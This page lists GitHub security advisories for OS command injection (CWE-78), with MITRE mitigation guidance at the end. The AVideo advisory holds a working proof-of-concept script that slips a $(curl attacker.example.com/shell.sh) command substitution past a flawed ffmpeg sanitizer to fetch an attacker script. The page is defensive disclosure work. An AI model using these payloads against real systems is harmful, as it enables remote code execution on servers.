CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8313 vulnerabilities reference this CWE, most recent first.
GHSA-PM7R-G7W6-HQJ3
Vulnerability from github – Published: 2023-02-16 21:30 – Updated: 2023-02-28 21:30Multiple improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerabilities [CWE-78] in FortiWeb version 7.0.1 and below, 6.4 all versions, version 6.3.19 and below may allow an authenticated attacker to execute unauthorized code or commands via crafted parameters of HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2023-23779"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-16T19:15:00Z",
"severity": "HIGH"
},
"details": "Multiple improper neutralization of special elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerabilities [CWE-78] in FortiWeb version 7.0.1 and below, 6.4 all versions, version 6.3.19 and below may allow an authenticated attacker to execute unauthorized code or commands via crafted parameters of HTTP requests.",
"id": "GHSA-pm7r-g7w6-hqj3",
"modified": "2023-02-28T21:30:17Z",
"published": "2023-02-16T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23779"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PM9H-GWQ2-F4P2
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:51An OS Command Injection vulnerability in Snare Central before 7.4.5 allows remote authenticated attackers to inject arbitrary OS commands via the ServerConf/DataManagement/DiskManager.php FORMNAS_share parameter.
{
"affected": [],
"aliases": [
"CVE-2019-11364"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-29T21:15:00Z",
"severity": "HIGH"
},
"details": "An OS Command Injection vulnerability in Snare Central before 7.4.5 allows remote authenticated attackers to inject arbitrary OS commands via the ServerConf/DataManagement/DiskManager.php FORMNAS_share parameter.",
"id": "GHSA-pm9h-gwq2-f4p2",
"modified": "2024-04-04T01:51:14Z",
"published": "2022-05-24T16:55:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11364"
},
{
"type": "WEB",
"url": "https://prophecyinternational.atlassian.net/wiki/spaces/SC7/pages/158760961/Release+Notes+for+Snare+Central+v7.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PMJ8-R2J7-XG6C
Vulnerability from github – Published: 2026-03-20 20:46 – Updated: 2026-03-25 18:50Summary
The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.
Details
Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Remove dangerous characters
$command = str_replace('&&', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
$command = preg_replace('/[;|`<>]/', '', $command); // Missing: $ ( ) \n
// Ensure it starts with an allowed prefix
foreach ($allowedPrefixes as $prefix) {
if (strpos(trim($command), $prefix) === 0) {
return $command;
}
}
return '';
}
The character class [;|<>]on line 70 does not include$,(,), or\n. This means$(...)` command substitution passes through completely unmodified.
Execution sink (objects/functionsExec.php:656-658):
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.
Execution flow:
1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php
2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt
3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped
4. Command passes prefix check (starts with ffmpeg)
5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution
Auth barrier analysis:
- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
- Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) — cryptographically strong
- IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone
- On legacy installations without saltV2, falls back to $global['salt'] which may be weaker
- The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting
PoC
Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):
# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"
# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")
# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"
# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script
Sanitization trace for the payload:
- str_replace('&&', '', ...) → no && present, passes
- preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...) → no > outside $(), passes
- preg_replace('/[;|<>]/', '', ...)→ no;|<> present, passes
- Prefix check → starts with ffmpeg, passes
- addcslashes($command, '"') → no " in payload, $() untouched
Impact
- Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
- Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
- Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
- Service Disruption: Attacker can terminate encoding processes or consume system resources
The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.
Recommended Fix
Replace the denylist-based sanitization with proper argument escaping:
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Verify it starts with an allowed prefix
$trimmed = trim($command);
$validPrefix = false;
foreach ($allowedPrefixes as $prefix) {
if (strpos($trimmed, $prefix) === 0) {
$validPrefix = true;
break;
}
}
if (!$validPrefix) {
_error_log("Sanitization failed: Command does not start with an allowed prefix");
return '';
}
// Strip ALL shell metacharacters, including command substitution
// This covers: ; | ` < > $ ( ) { } \n \r
$command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
$command = str_replace('&&', '', $command);
$command = preg_replace('/[\n\r]/', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
_error_log("Command sanitized successfully");
return $command;
}
Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33482"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:46:39Z",
"nvd_published_at": "2026-03-23T15:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`\u0026\u0026`, `;`, `|`, `` ` ``, `\u003c`, `\u003e`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n \n // Remove dangerous characters\n $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n $command = preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, $command); // Missing: $ ( ) \\n\n \n // Ensure it starts with an allowed prefix\n foreach ($allowedPrefixes as $prefix) {\n if (strpos(trim($command), $prefix) === 0) {\n return $command;\n }\n }\n return \u0027\u0027;\n}\n```\n\nThe character class `[;|`\u003c\u003e]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";\n```\n\nThe `addcslashes($command, \u0027\"\u0027)` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server\u0027s unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` \u2014 `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` \u2014 `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` \u2014 cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` \u2014 predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global[\u0027salt\u0027]` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing \u003e which would be stripped\nMALICIOUS_CMD=\u0027ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4\u0027\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = \u0027KNOWN_SALTV2\u0027;\n\\$iv_source = \u0027/var/www/html/AVideo/\u0027;\n\\$key = hash(\u0027sha256\u0027, \\$salt);\n\\$iv = substr(hash(\u0027sha256\u0027, \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt(\u0027$PAYLOAD\u0027, \u0027AES-256-CBC\u0027, \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c \u0027import urllib.parse; print(urllib.parse.quote(\\\"\u0027$ENCRYPTED\u0027\\\"))\u0027)\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker\u0027s script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)` \u2192 no `\u0026\u0026` present, passes\n- `preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, ...)` \u2192 no `\u003e` outside `$()`, passes\n- `preg_replace(\u0027/[;|`\u003c\u003e]/\u0027, \u0027\u0027, ...)` \u2192 no `;|`\u003c\u003e` present, passes\n- Prefix check \u2192 starts with `ffmpeg`, passes\n- `addcslashes($command, \u0027\"\u0027)` \u2192 no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n $allowedPrefixes = [\u0027ffmpeg\u0027, \u0027/usr/bin/ffmpeg\u0027, \u0027/bin/ffmpeg\u0027];\n\n // Verify it starts with an allowed prefix\n $trimmed = trim($command);\n $validPrefix = false;\n foreach ($allowedPrefixes as $prefix) {\n if (strpos($trimmed, $prefix) === 0) {\n $validPrefix = true;\n break;\n }\n }\n if (!$validPrefix) {\n _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n return \u0027\u0027;\n }\n\n // Strip ALL shell metacharacters, including command substitution\n // This covers: ; | ` \u003c \u003e $ ( ) { } \\n \\r\n $command = preg_replace(\u0027/[;|`\u003c\u003e$(){}\\\\\\\\]/\u0027, \u0027\u0027, $command);\n $command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);\n $command = preg_replace(\u0027/[\\n\\r]/\u0027, \u0027\u0027, $command);\n $command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);\n\n _error_log(\"Command sanitized successfully\");\n return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
"id": "GHSA-pmj8-r2j7-xg6c",
"modified": "2026-03-25T18:50:02Z",
"published": "2026-03-20T20:46:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33482"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()"
}
GHSA-PMQF-7MJC-42FW
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40Logstorage version 8.0.0 and earlier, and ELC Analytics version 3.0.0 and earlier allow remote attackers to execute arbitrary OS commands via a specially crafted log file.
{
"affected": [],
"aliases": [
"CVE-2020-5626"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-28T11:15:00Z",
"severity": "HIGH"
},
"details": "Logstorage version 8.0.0 and earlier, and ELC Analytics version 3.0.0 and earlier allow remote attackers to execute arbitrary OS commands via a specially crafted log file.",
"id": "GHSA-pmqf-7mjc-42fw",
"modified": "2022-05-24T17:40:31Z",
"published": "2022-05-24T17:40:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5626"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN41853173/index.html"
},
{
"type": "WEB",
"url": "https://www.logstorage.com/support/vulnerability_info.html#jvn-41853173"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PMQW-8W3W-P63R
Vulnerability from github – Published: 2025-08-08 06:30 – Updated: 2025-08-08 06:30EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.
{
"affected": [],
"aliases": [
"CVE-2024-58257"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-08T04:16:04Z",
"severity": "MODERATE"
},
"details": "EnzoH has an OS command injection vulnerability. Successful exploitation of this vulnerability may lead to arbitrary command execution.",
"id": "GHSA-pmqw-8w3w-p63r",
"modified": "2025-08-08T06:30:25Z",
"published": "2025-08-08T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58257"
},
{
"type": "WEB",
"url": "https://www.huawei.com/cn/psirt/security-advisories/2025/huawei-sa-ocivihep-1bcbfffa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PMXP-M64W-V7F6
Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-15 21:30Wp2Fac 1.0 contains an OS command injection vulnerability in the send.php endpoint that allows remote attackers to execute arbitrary system commands. Attackers can inject shell commands through the 'numara' parameter by appending shell commands with '&' operators to execute malicious code.
{
"affected": [],
"aliases": [
"CVE-2023-53872"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T21:15:49Z",
"severity": "CRITICAL"
},
"details": "Wp2Fac 1.0 contains an OS command injection vulnerability in the send.php endpoint that allows remote attackers to execute arbitrary system commands. Attackers can inject shell commands through the \u0027numara\u0027 parameter by appending shell commands with \u0027\u0026\u0027 operators to execute malicious code.",
"id": "GHSA-pmxp-m64w-v7f6",
"modified": "2025-12-15T21:30:32Z",
"published": "2025-12-15T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53872"
},
{
"type": "WEB",
"url": "https://github.com/metinyesil/wp2fac"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51717"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/wpfac-os-command-injection-via-sendphp-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PP53-38W2-PPWC
Vulnerability from github – Published: 2025-12-11 18:30 – Updated: 2025-12-12 18:30OS Command Injection vulnerability in Ruijie M18 EW_3.0(1)B11P226_M18_10223116 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.
{
"affected": [],
"aliases": [
"CVE-2025-56089"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T18:16:21Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in Ruijie M18 EW_3.0(1)B11P226_M18_10223116 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.",
"id": "GHSA-pp53-38w2-ppwc",
"modified": "2025-12-12T18:30:34Z",
"published": "2025-12-11T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56089"
},
{
"type": "WEB",
"url": "https://1drv.ms/f/c/12406a392c92914b/EmXarTTNPwFHjk8lLwQIqj8Ba9nlq-owLMBtEKpBwMrn5A?e=vvi2dM"
},
{
"type": "WEB",
"url": "https://1drv.ms/t/c/12406a392c92914b/Ea56irtVj4dNs59Pzz7fkiIBQeVLjDcMDEXC2FpCQydIZQ?e=70gcOe"
},
{
"type": "WEB",
"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56089.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PP57-MQMH-44H7
Vulnerability from github – Published: 2018-09-06 23:24 – Updated: 2021-09-16 18:18All versions of macaddress are vulnerable to command injection. For this vulnerability to be exploited an attacker needs to control the iface argument to the one method.
Recommendation
Update to version 0.2.9 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "macaddress"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-13797"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:49:44Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "All versions of `macaddress` are vulnerable to command injection. For this vulnerability to be exploited an attacker needs to control the `iface` argument to the `one` method.\n\n\n## Recommendation\n\nUpdate to version 0.2.9 or later.",
"id": "GHSA-pp57-mqmh-44h7",
"modified": "2021-09-16T18:18:02Z",
"published": "2018-09-06T23:24:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13797"
},
{
"type": "WEB",
"url": "https://github.com/scravy/node-macaddress/pull/20"
},
{
"type": "WEB",
"url": "https://github.com/scravy/node-macaddress/commit/358fd594adb196a86b94ac9c691f69fe5dad2332"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/319467"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-pp57-mqmh-44h7"
},
{
"type": "PACKAGE",
"url": "https://github.com/scravy/node-macaddress"
},
{
"type": "WEB",
"url": "https://github.com/scravy/node-macaddress/releases/tag/0.2.9"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=17283394"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command Injection in macaddress"
}
GHSA-PP7P-Q5V7-3CR2
Vulnerability from github – Published: 2022-01-26 00:01 – Updated: 2022-09-15 00:00The Path Sanity Check script of FreeCAD 0.19 is vulnerable to OS command injection, allowing an attacker to execute arbitrary commands via a crafted FCStd document.
{
"affected": [],
"aliases": [
"CVE-2021-45845"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-25T13:15:00Z",
"severity": "HIGH"
},
"details": "The Path Sanity Check script of FreeCAD 0.19 is vulnerable to OS command injection, allowing an attacker to execute arbitrary commands via a crafted FCStd document.",
"id": "GHSA-pp7p-q5v7-3cr2",
"modified": "2022-09-15T00:00:20Z",
"published": "2022-01-26T00:01:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45845"
},
{
"type": "WEB",
"url": "https://github.com/FreeCAD/FreeCAD/pull/5306"
},
{
"type": "WEB",
"url": "https://tracker.freecad.org/view.php?id=4810"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5229"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PPF5-XM45-3XC6
Vulnerability from github – Published: 2026-01-13 15:37 – Updated: 2026-02-10 18:30OS Command Injection Remote Code Execution Vulnerability in API in Progress LoadMaster allows an authenticated attacker with “User Administration” permissions to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in the API input parameters
{
"affected": [],
"aliases": [
"CVE-2025-13447"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T15:15:58Z",
"severity": "HIGH"
},
"details": "OS Command Injection Remote Code Execution Vulnerability in API in Progress LoadMaster allows an authenticated attacker with \u201cUser Administration\u201d permissions to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in the API input parameters",
"id": "GHSA-ppf5-xm45-3xc6",
"modified": "2026-02-10T18:30:32Z",
"published": "2026-01-13T15:37:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13447"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/Connection-Manager-for-ObjectScale-Vulnerabilities-CVE-2025-13444-CVE-2025-13447"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/ECS-Connection-Manager-Vulnerabilities-CVE-2025-13444-CVE-2025-13447"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/LoadMaster-Vulnerabilities-CVE-2025-13444-CVE-2025-13447"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/MOVEit-WAF-Vulnerabilities-CVE-2025-13444-CVE-2025-13447"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
